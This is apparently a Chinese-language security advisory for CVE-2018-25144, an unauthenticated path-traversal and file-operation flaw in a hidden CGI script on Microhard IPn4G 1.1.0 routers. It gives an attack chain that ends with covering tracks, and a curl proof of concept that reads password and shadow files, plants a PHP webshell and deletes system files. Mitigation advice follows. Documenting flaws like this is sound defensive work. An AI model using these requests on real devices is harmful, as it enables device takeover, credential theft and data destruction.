IPBUF安全漏洞报告
English
CVE-2018-25144 CVSS 8.4 高危

CVE-2018-25144: Microhard IPn4G system-editor.sh 认证绕过漏洞

披露日期: 2025-12-24

漏洞信息

漏洞编号
CVE-2018-25144
漏洞类型
认证绕过/路径遍历/文件操作漏洞
CVSS评分
8.4 高危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Microhard Systems IPn4G 1.1.0

相关标签

CVE-2018-25144MicrohardIPn4G认证绕过路径遍历文件操作命令注入嵌入式设备CGI脚本漏洞高危漏洞

漏洞概述

CVE-2018-25144是Microhard Systems IPn4G 1.1.0设备中存在的一个严重认证绕过漏洞。该漏洞位于隐藏的system-editor.sh脚本中,由于对用户输入的参数缺少适当的验证和过滤,攻击者可以利用path、savefile、edit和delfile等参数通过GET和POST请求执行未授权的文件系统操作。攻击者可以在无需认证的情况下读取、修改或删除设备上的任意文件,这可能导致敏感信息泄露、配置文件篡改甚至完全控制受影响的设备。此漏洞的CVSS评分为8.4,属于高危级别,攻击向量为本地访问,但攻击复杂度低且无需认证,对系统的机密性、完整性和可用性都造成严重影响。

技术细节

漏洞根源在于system-editor.sh脚本对用户可控的输入参数缺乏严格的输入验证。具体来说:1) path参数未进行路径规范化检查,允许攻击者使用../等路径遍历序列访问系统任意目录;2) savefile参数未验证文件写入路径,可导致任意文件创建或覆盖;3) edit参数未限制编辑的文件类型和位置;4) delfile参数未确认文件删除操作的合法性。攻击者通过构造包含路径遍历字符的HTTP请求(如GET /cgi-bin/system-editor.sh?path=../../etc&savefile=passwd),可以绕过认证机制直接调用系统命令,实现对/etc/passwd等敏感文件的读取或修改。由于脚本以root权限运行,攻击成功后将获得完整的系统控制权限。

攻击链分析

STEP 1
步骤1
攻击者识别目标设备为Microhard IPn4G 1.1.0,发现存在/cgi-bin/system-editor.sh隐藏脚本
STEP 2
步骤2
攻击者构造包含路径遍历序列的HTTP请求,利用未过滤的path参数访问系统文件
STEP 3
步骤3
通过edit参数读取敏感文件如/etc/passwd、/etc/shadow获取系统账户信息
STEP 4
步骤4
利用savefile参数通过POST请求写入恶意文件(如webshell)到Web目录
STEP 5
步骤5
攻击者利用写入的webshell执行系统命令,获得设备的完全控制权
STEP 6
步骤6
通过delfile参数删除日志文件或破坏系统文件,掩盖攻击痕迹

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/bin/bash # CVE-2018-25144 PoC - Microhard IPn4G Authentication Bypass # Read arbitrary file via path traversal curl -i -s 'http://TARGET_IP/cgi-bin/system-editor.sh?path=../../etc&edit=passwd' # Read shadow file (if permissions allow) curl -i -s 'http://TARGET_IP/cgi-bin/system-editor.sh?path=../../etc&edit=shadow' # Write/Modify arbitrary file curl -i -s 'http://TARGET_IP/cgi-bin/system-editor.sh' \ -X POST \ --data-urlencode 'path=../../www/html' \ --data-urlencode 'savefile=backdoor.php' \ --data-urlencode 'content=<?php system($_GET["cmd"]); ?>' # Delete arbitrary file curl -i -s 'http://TARGET_IP/cgi-bin/system-editor.sh?path=../../etc&delfile=passwd' # Alternative: Read system configuration curl -i -s 'http://TARGET_IP/cgi-bin/system-editor.sh?path=../../etc/config&edit=system'

影响范围

Microhard IPn4G 1.1.0

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1) 通过防火墙规则限制对设备Web管理界面的访问,仅允许受信任的IP地址;2) 禁用不必要的CGI脚本,特别是system-editor.sh;3) 监控网络流量,检测异常的路径遍历请求模式;4) 定期备份系统配置文件;5) 考虑使用VPN建立安全的远程管理通道。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表